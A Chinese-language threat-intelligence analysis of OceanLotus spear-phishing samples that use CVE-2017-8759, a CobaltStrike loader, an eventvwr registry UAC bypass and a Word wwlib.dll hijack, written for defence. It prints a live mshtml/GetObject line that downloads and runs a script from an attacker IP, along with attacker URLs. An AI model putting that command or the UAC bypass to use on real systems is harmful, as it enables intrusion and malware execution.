作者:360威脅情報中心
引言
360威脅情報中心自在2015年首次揭露海蓮花(OceanLotus)APT團伙的活動以后,一直密切監控其活動,跟蹤其攻擊手法和目標的變化。近期被公開的團伙所執行的大規模水坑攻擊中,360威脅情報中心發現超過100個國內的網站被秘密控制植入了惡意鏈接,團伙會在到訪水坑網站的用戶中選擇感興趣的目標通過誘使其下載執行惡意程序獲取控制,此類攻擊手法在360威脅情報中心的之前分析中已經有過介紹,詳情請訪問情報中心的官方Blog: http://ti.360.net/blog/ 。
除了水坑方式的滲透,海蓮花團伙也在并行地采用魚叉郵件的惡意代碼投遞,執行更加針對性的攻擊。360安全監測與響應中心在所服務用戶的配合下,大量魚叉郵件被發現并確認,顯示其盡可能多地獲取控制的攻擊風格。除了通常的可執行程序附件Payload以外,360威脅情報中心近期還發現了利用CVE-2017-8759漏洞和Office Word機制的魚叉郵件。這類漏洞利用類的惡意代碼集成了一些以前所未見的技術,360威脅情報中心在本文中詳述其中的技術細節,與安全社區共享以期從整體上提升針對性的防御。
樣本分析
海蓮花團伙會收集所攻擊組織機構對外公布的郵箱,只要有獲得滲透機會的可能,就向其投遞各類惡意郵件,360威脅情報中心甚至在同一個用戶的郵箱中發現兩類不同的魚叉郵件,但所欲達到的目的是一樣的:獲取初始的惡意代碼執行。下面我們剖析其中的兩類:CVE-2017-8759漏洞和Office Word DLL劫持漏洞的利用。
CVE-2017-8759漏洞利用樣本
我們分析的第一個樣本來自魚叉郵件。郵件主題跟該員工的薪酬信息相關,其中附帶了一個DOC文檔類型的附件,附件名為 “請查收8月和9月的工資單.doc ”。

打開文件會發現其并沒有內容,而只是顯示了一個空白框和一張模糊不清的圖片,顯然這是一種企圖引誘用戶點擊打開漏洞文檔,然后通過漏洞在系統后臺運行惡意代碼的社會工程學攻擊。

點擊空白框可以發現其是一個鏈接對象,鏈接地址如下:

注意到soap:wsdl=****這個是CVE-2017-8759漏洞利用的必要元素, 以下我們簡單回顧一下CVE-2017-8759漏洞的細節。
CVE-2017-8759漏洞簡介
CVE-2017-8759是一個.NET Framework漏洞,成因在于.NET庫中的SOAP WSDL解析模塊IsValidUrl函數沒有正確處理包含回車換行符的情況,導致調用者函數PrintClientProxy發生代碼注入,在后續過的過程中所注入的惡意代碼得到執行。
漏洞利用導致代碼執行的流程如下:
前述所分析的樣本中包含soap:wsdl=http://www.hkbytes.info:80/resource/image.jpg,這里的soap:wsdl標記了接下來要使用的Moniker為Soap Moniker。
在注冊表項HKEY_CLASSES_ROOT\soap中可以找到Soap Moniker的CLSID和文件路徑分別為CLSID:{ecabb0c7-7f19-11d2-978e-0000f8757e2a}和Path: %systemroot%\system32\comsvcs.dll。
可以看到漏洞觸發前的部分堆棧如下:

Office在綁定了CSoapMoniker并創建實例后,進入到comsvcs!CreateSoapProxy中,會創建一個System.EnterpriseServices.Internal.ClrObjectFactory類的實例(該類在MSDN上的描述為啟用客戶端SOAP代理的COM組件),代碼如下:

接著調用ClrObjectFactory類中的CreateFromWsdl()方法,該方法中會對WsdlURL進行解析,然后通過GenAssemblyFromWsdl()生成一個以URL作為名字的dll,將其load到內存中:

而漏洞正是出現在GenAssemblyFromWsdl()中對Wsdl解析的時候,SOAP WSDL 解析模塊WsdlParser的 IsValidUrl() 函數沒有正確處理可能包含的回車換行符,使調用IsVailidUrl的PrintClientProxy沒能注釋掉換行符之后的代碼,從而導致了代碼注入。相關的漏洞代碼如下:
PrintClientProxy

IsValidUrl

調用棧大致如下:
System.Runtime.Remoting.MetadataServices.WsdlParser.URTComplexType.PrintClientProxy()
System.Runtime.Remoting.MetadataServices.WsdlParser.URTComplexType.PrintCSC()
System.Runtime.Remoting.MetadataServices.WsdlParser.PrintCSC()
System.Runtime.Remoting.MetadataServices.WsdlParser.StartWsdlResolution()
System.Runtime.Remoting.MetadataServices.WsdlParser.Parse()
System.Runtime.Remoting.MetadataServices.SUDSParser.Parse()
System.Runtime.Remoting.MetadataServices.MetaData.ConvertSchemaStreamToCodeSourceStream(bool, string, Stream, ArrayList, string, string)
System.EnterpriseServices.Internal.GenAssemblyFromWsdl.Generate()
System.EnterpriseServices.Internal.ClrObjectFactory.CreateFromWsdl()
…..
由于 hxxp://www.hkbytes.info:80/resource/image.jpg 已經下載不到,這里用一個POC來代替原本image.jpg中的代碼來說明漏洞如何被利用:

如上圖的POC中所示,由于第二行的soap:address locaotion后面緊跟著一個換行符,經過上述的處理流程后,導致生成的Logo.cs文件內容如下,可以看到本該被注釋掉的if (System.AppDomain…等代碼并未被注釋掉。

回到GenAssemblyFromWsdl()函數后,調用GenAssemblyFromWsdl.Run()編譯生成的Logo.cs,生成以URL命名的dll:httpswwwhkbytesinfo80resourceimagejpg.dll,并將其加載到內存中,此時被注入的代碼便得以執行起來。具體到當前的POC例子,我們可以看到被注入的代碼就是將前面的字符串以“?”分割成一個Array,然后調用System.Diagnostics.Process.Start()啟動新進程。進程名為Array[1](即mshta.exe),參數為Array[2](即要下載執行的惡意載荷)。
樣本文檔的Payload剖析
樣本文件中的Payload被設置在objdata對象中,可以看到其數據是被混淆過的:

混淆方式為把一些沒有意義的字符串填充到objdata里面,比如 {*[10位隨機字母]},[10位隨機字母]

使用正則表達式替換掉這些用于混淆的字符串,比如:
- 用 {\*\[a-zA-Z]{10}}搜索替換 “{*\enhftkpilz}”
- 用 \[a-zA-Z]{10} 搜索替換 “\akyrwuwprx”
得到的結果如下:

對混淆用的字串做進一步的清理,最終結果如下:

將其轉換成二進制形式后利用Office CVE-2017-8759漏洞的特征數據顯現:

其中的wsdl=http://www.hkbytes.info:80/resource/image.jpg 這個鏈接指向的文件目前已經下載不到。
基于域名關聯所得樣本分析
上節分析看到的 http://www.hkbytes.info:80/resource/image.jpg 雖然已無法下載,但后續通過基于域名的排查關聯,360威脅情報中心定位到該域名下另一個還能下載得到的樣本鏈接:http://www.hkbytes.info/logo.gif 。其中包含的Powershell惡意代碼代碼如下:

經過6次嵌套解碼后的可讀代碼如下:

Shellcode由CobaltStrike生成,會在內存中解密加載Beacon模塊,之前360威脅情報中心對此shellcode做過專門的分析,詳情見:http://www.freebuf.com/articles/paper/104638.html

解開配置文件后可以找到通信域名和通過管道與模塊通信的名字:

調試分析發現啟動Powershell的父進程為eventvrw.exe:

進程信息如下:

檢查相關的注冊表項,發現被修改指向了Powershell,這是一種已知的繞過UAC的技巧,我們在下節詳細介紹一下。
繞過 UAC技術解析介紹
繞過Windows UAC的目的是不經系統提示用戶手工確認而秘密執行特權程序,當前樣本使用的繞過方式為修改一個不需要UAC就能寫的注冊表的項。這里所涉及的注冊表項會被eventvwr.exe首先讀取并運行里面的鍵值指定的程序,而eventvwr.exe不需要UAC權限。如下圖所示該鍵值被修改為Powershell加載惡意代碼:

正常系統中這個注冊表鍵值在HKCU項里是沒有的,只有在HKCR下有這個注冊表鍵值,正常的值如下:

通常打開eventvwr .exe,eventvwr .exe先會到HKCU查找mscfile關聯打開的方式,而這個目錄下默認是沒有的,這時會轉到HKCR下的mscfile里去找,如找到,啟動mmc.exe,因為寫HKCU這個注冊表鍵值不需要UAC,把值改成Powershell可以導致繞過UAC。

經過驗證確認為HKCU增加改注冊表項并不需要UAC權限,以下為添加注冊表成功的截圖:

測試代碼如下:

因此通過eventvwr即可以讓需要UAC執行權限的程序在運行時不會彈出UAC權限確認框,如下所示將注冊表改成”海馬玩”的路徑:

正常海馬玩運行時需要提升UAC權限:

利用當前這個繞過方法,啟動eventvwr,不需要UAC就可以打開程序:

Word DLL劫持漏洞利用樣本
360安全監測與響應中心為用戶處理海蓮花團伙感染事件過程中,存在CVE-2017-8759漏洞利用樣本的同一臺機器上被發現另一個海蓮花團伙的攻擊樣本,也是通過魚叉郵件的方式投遞:

這個看起來與加薪相關的社工郵件附件利用了一種與上述CVE-2017-8759漏洞不同的惡意代碼加載機制。
WinWord的wwlib.dll劫持
把壓縮包解壓以后,可以看到其中包含一個名為 “2018年加薪及任命決定征求意見表 .exe”的可執行程序,這個程序其實就是一個正常微軟的WINWORD.exe 的主程序,帶有微軟的簽名,所以其WinWord的圖標也是正常的:

WINWORD.exe會默認加載同目錄下的wwlib.dll,而wwlib.dll是攻擊者自己的,所以本質上這還是一個DLL劫持的白利用加載惡意代碼方式。
惡意代碼加載流程
分析顯示wwlib.dll的功能就是通過COM組件調用JavaScript本地執行一個腳本,相關的代碼在102資源里:

其中的腳本為:
javascript:"..\mshtml.dll,RunHTMLApplication ";document.write();try{GetObject("script:http://27.102.102.139:80/lcpd/index.jpg")}catch(e){};close();

調用COM組件執行腳本:

執行的腳本 http://27.102.102.139:80/lcpd/index.jpg 內容如下:

前面的變量serialized_obj是經過base64編碼后的C#程序,該腳本調用程序的LoadShell方法,在內存中加載shl變量,下圖為解密后的C#程序的LoadShell方法:

接下來程序會把傳過來的string做base64解密在內存中加載執行,下圖為解密后的string,很容易看出來這又是Cobalt Strike的Shellcode Payload:

Shellcode會連接 https://27.102.102.139/oEcE 地址下載下一步攻擊荷載,而oEcE就是前面分析的CobaltStrike的釋放Beacon模塊的Shellcode:

經過和0x69異或配置文件解密出的配置文件如下:

執行完Shellcode的同時會從資源中釋放ID為102的doc文件并打開:

打開后的界面如下以迷惑攻擊對象,以為自己剛才打開的就是word文檔:

溯源和關聯分析
通過在360威脅情報中心搜索 www.hkbytes.info 該域名,如圖:

搜索IP的結果如下:

該域名最早看到時間是2017年9月12日,而域名注冊時間為2017年1月4日,可見海蓮花團伙會為將來的攻擊預先儲備網絡資源。

總結
為了成功滲透目標,海蓮花團伙一直在積極跟蹤利用各種獲取惡意代碼執行及繞過傳統病毒查殺體系的方法,顯示團伙有充足的攻擊人員和技術及網絡資源儲備。對于感興趣的目標,團伙會進行反復的攻擊滲透嘗試,360威脅情報中心和360安全監測與響應中心所服務的客戶中涉及軍工、科研院所、大型企業等機構幾乎都受到過團伙的攻擊,那些單位對外公布的郵箱幾乎都收到過魚叉郵件,需要引起同類組織機構的高度重視。
參考鏈接
“FILELESS” UAC BYPASS USING EVENTVWR.EXE AND REGISTRY HIJACKING
附件
IOC

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/467/
暫無評論